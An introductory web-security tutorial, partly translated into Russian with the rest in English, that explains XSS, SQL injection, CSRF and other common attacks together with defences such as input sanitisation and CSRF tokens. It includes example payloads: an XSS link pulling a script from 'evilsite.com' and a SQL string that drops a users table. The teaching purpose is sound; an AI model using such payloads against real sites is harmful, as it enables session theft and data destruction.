Веб-безопасность

Этот перевод не завершён. Пожалуйста, помогите перевести эту статью с английского

Безопасность сайта требует бдительности во всех аспектах дизайна и использования сайта. Эта вводная статья не сделает из вас гуру безопасности веб-сайта, но она поможет вам понять, откуда приходят угрозы, и что вы можете сделать, чтобы укрепить свое веб-приложение против наиболее распространенных атак.

Условия: Элементарная компьютерная грамотность
Цель: Понять самые распространенные угрозы безопасности веб-приложений. И что вы можете сделать, чтобы уменьшить риск взлома вашего сайта.

Что такое безопасность сайта?

Интернет опасное место! Мы регулярно слышим о том, что веб-сайты становятся недоступными из-за атак типа отказано в обслуживании, или отображение измененной (и часто поврежденной) информации на их страницах. В других случаях миллионы паролей, адресов электронной почты и данные кредитных карт становились общедоступными, подвергая пользователей веб-сайта личному смущению или к финансовым рискам.

Цель веб-безопасности заключается в предотвращении этих (или других) видов атак. Более формальным определением веб-безопасности является: способы защиты веб-сайтов от несанкционированного доступа, использования, изменения, уничтожения или нарушения работы.

Для эффективной безопасности веб-сайта необходимо уделять особое внимание к разработке всего веб-сайта: к вашему веб-приложению, конфигурации веб-сервера, при написании политик создания и обновления паролей, а так же кода на стороне клиента. Хотя все это звучит очень зловеще, хорошая новость заключается в том, что если вы используете веб-фреймворк для серверной части, то он почти наверняка обеспечит «по умолчанию» надежные и продуманные механизмы защиты от ряда наиболее распространенных атак. Другие атаки можно смягчить с помощью конфигурации вашего веб-сервера, например, включив HTTPS. Наконец, есть общедоступные инструменты для сканирования уязвимостей, которые могут помочь вам определить, если вы допустили какие-либо очевидные ошибки.

В оставшейся части этой статьи мы рассмотрим более подробную информацию о некоторых самых распространенных угрозах и о простых шагах, которые вы можете предпринять, чтобы защитить свой сайт.

Примечание: Это вводная статья, призванная помочь вам задуматься о безопасности веб-сайта, но она не является исчерпывающей.

Угрозы бесопасности сайта

В этом разделе перечислены лишь некоторые из наиболее распространенных угроз веб-сайта и способы их устранения. Читая, обратите внимание на то, насколько успешны угрозы, когда веб-приложение доверяет, либо недостаточно параноидально относится к данным, поступающим из браузера.

Межсайтовый скриптинг (XSS)

XSS (Cross-Site Scripting - Межсайтовый скриптинг) это термин, используемый для описания типа атак, которые позволяют злоумышленнику внедрять вредоносный код через веб-сайт в браузеры других пользователей. Поскольку внедренный код поступает в браузер с сайта, он является доверенным и может выполнять такие действия, как отправка авторизационного файла cookieпользователя злоумышленнику. Когда у злоумышленника есть файл cookie, он может войти на сайт, как если бы он был пользователем, и сделать все, что может пользователь, например, получить доступ к данным кредитной карты, просмотреть контактные данные или изменить пароли.

Примечание: Уязвимости XSS исторически встречались чаще, чем любые другие виды угроз безопасности.

Уязвимости XSS делятся на отраженные и хранимые, в зависимости от того, как сайт возвращает внедренный код в браузер.

  • Отраженная XSS-уязвимость возникает, когда пользовательский контент, который передается на сервер, немедленно и без изменений возвращается для отображения в браузере. Любой скрипт в исходном пользовательском контенте запустится при загрузке новой страницы. Например, рассмотрим строку поиска по сайту, в которой поисковые слова закодированы как параметры URL, и эти слова отображаются вместе с результатами. Злоумышленник может создать поисковую ссылку, которая будет содержать вредоносный скрипт в качестве параметра (например: http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>) и перслать его другому пользователю по электронной почте. Если целевой пользователь кликнет по этой «интересной ссылке», то скрипт выполнится при отображении результатов поиска. Как мы уже говорили, злоумышленник  таким образом получает всю информацию, необходимую ему для входа на сайт в качестве целевого пользователя, потенциального совершения покупок от имени пользователя или получения его контактной информации.
  • Постоянная уязвимость XSS возникает, когда вредоносный скрипт хранится на веб-сайте, а затем снова отображается без изменений, чтобы другие пользователи могли выполнять его невольно.
    Например, доска обсуждений, которая принимает комментарии, содержащие неизмененный HTML, может хранить вредоносный скрипт от злоумышленника. Когда комментарии отображаются, скрипт выполняется и может отправить злоумышленнику информацию, необходимую для доступа к учетной записи пользователя. Атака такого рода чрезвычайно популярна и мощна, потому что злоумышленник может даже не иметь прямого отношения к жертвам.

    Хотя данные из запросов POST или GET являются наиболее распространенным источником уязвимостей XSS, любые данные из браузера потенциально уязвимы, такие как данные cookie, отображаемые браузером, или пользовательские файлы, которые загружаются и отображаются.

    Наилучшей защитой от уязвимостей XSS является удаление или отключение любой разметки, которая потенциально может содержать инструкции по запуску кода. Для HTML это включает такие элементы, как <script>, <object>, <embed> и <link>.

    Процесс изменения пользовательских данных, чтобы их нельзя было использовать для запуска сценариев или иным образом влиять на выполнение серверного кода, называется очисткой ввода. Многие веб-фреймворки автоматически очищают пользовательский ввод от HTML-форм по умолчанию.

SQL injection

Уязвимости SQL-инъекций позволяют злоумышленникам выполнять произвольный код SQL в базе данных, позволяя получать, изменять или удалять данные независимо от разрешений пользователя. Успешная инъекционная атака может подделать удостоверения, создать новые удостоверения с правами администратора, получить доступ ко всем данным на сервере или уничтожить / изменить данные, чтобы сделать их непригодными для использования.

Типы внедрения SQL включают внедрение SQL на основе ошибок, внедрение SQL на основе логических ошибок и внедрение SQL на основе времени.

Эта уязвимость присутствует, если пользовательский ввод, который передается в базовый оператор SQL, может изменить смысл оператора. Например, следующий код предназначен для перечисления всех пользователей с определенным именем (userName), которое было предоставлено из формы HTML:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

Если пользователь указывает реальное имя, оператор будет работать так, как задумано. Однако злонамеренный пользователь может полностью изменить поведение этого оператора SQL на новый оператор в следующем примере, просто указав текст полужирным шрифтом для userName.

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

Модифицированный оператор создает действительный оператор SQL, который удаляет таблицу пользователей и выбирает все данные из таблицы userinfo (которая раскрывает информацию о каждом пользователе). Это работает, потому что первая часть введенного текста (a ';) завершает исходное утверждение.

Чтобы избежать такого рода атак, вы должны убедиться, что любые пользовательские данные, которые передаются в запрос SQL, не могут изменить природу запроса. Один из способов сделать это - экранировать все символы пользовательского ввода, которые имеют особое значение в SQL.

Примечание. Инструкция SQL обрабатывает символ 'как начало и конец строкового литерала. Поместив обратную косую черту перед этим символом (\ '), мы экранируем символ и говорим SQL вместо этого трактовать его как символ (только часть строки).

In the following statement, we escape the ' character. The SQL will now interpret the name as the whole string in bold (which is a very odd name indeed, but not harmful).

SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';

Web frameworks will often take care of the character escaping for you. Django, for example, ensures that any user-data passed to querysets (model queries) is escaped.

Note: This section draws heavily on the information in Wikipedia here.

Cross-Site Request Forgery (CSRF)

CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent.

This type of attack is best explained by example. John is a malicious user who knows that a particular site allows logged-in users to send money to a specified account using an HTTP POST request that includes the account name and an amount of money. John constructs a form that includes his bank details and an amount of money as hidden fields, and emails it to other site users (with the Submit button disguised as a link to a "get rich quick" site).

If a user clicks the submit button, an HTTP POST request will be sent to the server containing the transaction details and any client-side cookies that the browser associated with the site (adding associated site cookies to requests is normal browser behavior). The server will check the cookies, and use them to determine whether or not the user is logged in and has permission to make the transaction.

The result is that any user who clicks the Submit button while they are logged in to the trading site will make the transaction. John gets rich.

Note: The trick here is that John doesn't need to have access to the user's cookies (or access credentials). The browser of the user stores this information and automatically includes it in all requests to the associated server.

One way to prevent this type of attack is for the server to require that POST requests include a user-specific site-generated secret. The secret would be supplied by the server when sending the web form used to make transfers. This approach prevents John from creating his own form, because he would have to know the secret that the server is providing for the user. Even if he found out the secret and created a form for a particular user, he would no longer be able to use that same form to attack every user.

Web frameworks often include such CSRF prevention mechanisms.

Other threats

Other common attacks/vulnerabilities include:

  • Clickjacking. In this attack, a malicious user hijacks clicks meant for a visible top-level site and routes them to a hidden page beneath. This technique might be used, for example, to display a legitimate bank site but capture the login credentials into an invisible <iframe> controlled by the attacker. Clickjacking could also be used to get the user to click a button on a visible site, but in doing so actually unwittingly click a completely different button. As a defense, your site can prevent itself from being embedded in an iframe in another site by setting the appropriate HTTP headers.
  • Denial of Service (DoS). DoS is usually achieved by flooding a target site with fake requests so that access to a site is disrupted for legitimate users. The requests may simply be numerous, or they may individually consume large amounts of resource (e.g., slow reads or uploading of large files). DoS defenses usually work by identifying and blocking "bad" traffic while allowing legitimate messages through. These defenses are typically located before or in the web server (they are not part of the web application itself).
  • Directory Traversal (File and disclosure). In this attack, a malicious user attempts to access parts of the web server file system that they should not be able to access. This vulnerability occurs when the user is able to pass filenames that include file system navigation characters (for example, ../../). The solution is to sanitize input before using it.
  • File Inclusion. In this attack, a user is able to specify an "unintended" file for display or execution in data passed to the server. When loaded, this file might be executed on the web server or the client-side (leading to an XSS attack). The solution is to sanitize input before using it.
  • Command Injection. Command injection attacks allow a malicious user to execute arbitrary system commands on the host operating system. The solution is to sanitize user input before it might be used in system calls.

For a comprehensive listing of website security threats see Category: Web security exploits (Wikipedia) and Category: Attack (Open Web Application Security Project).

A few key messages

Almost all of the security exploits in the previous sections are successful when the web application trusts data from the browser. Whatever else you do to improve the security of your website, you should sanitize all user-originating data before it is displayed in the browser, used in SQL queries, or passed to an operating system or file system call.

Important: The single most important lesson you can learn about website security is to never trust data from the browser. This includes, but is not limited to data in URL parameters of GET requests, POST requests, HTTP headers and cookies, and user-uploaded files. Always check and sanitize all incoming data. Always assume the worst.

A number of other concrete steps you can take are:

  • Use more effective password management. Encourage strong passwords that are changed regularly. Consider two-factor authentication for your site, so that in addition to a password the user must enter another authentication code (usually one that is delivered via some physical hardware that only the user will have, such as a code in an SMS sent to their phone).
  • Configure your web server to use HTTPS and HTTP Strict Transport Security (HSTS). HTTPS encrypts data sent between your client and server. This ensures that login credentials, cookies, POST requests data and header information are not easily available to attackers.
  • Keep track of the most popular threats (the current OWASP list is here) and address the most common vulnerabilities first.
  • Use vulnerability scanning tools to perform automated security testing on your site. Later on, your very successful website may also find bugs by offering a bug bounty like Mozilla does here.
  • Only store and display data that you need. For example, if your users must store sensitive information like credit card details, only display enough of the card number that it can be identified by the user, and not enough that it can be copied by an attacker and used on another site. The most common pattern at this time is to only display the last 4 digits of a credit card number.

Web frameworks can help mitigate many of the more common vulnerabilities.

Summary

This article has explained the concept of web security and some of the more common threats against which your website should attempt to protect. Most importantly, you should understand that a web application cannot trust any data from the web browser. All user data should be sanitized before it is displayed, or used in SQL queries and file system calls.

With this article, you've come to the end of this module, covering your first steps in server-side website programming. We hope you've enjoyed learning these fundamental concepts, and you're now ready to select a Web Framework and start programming.

In this module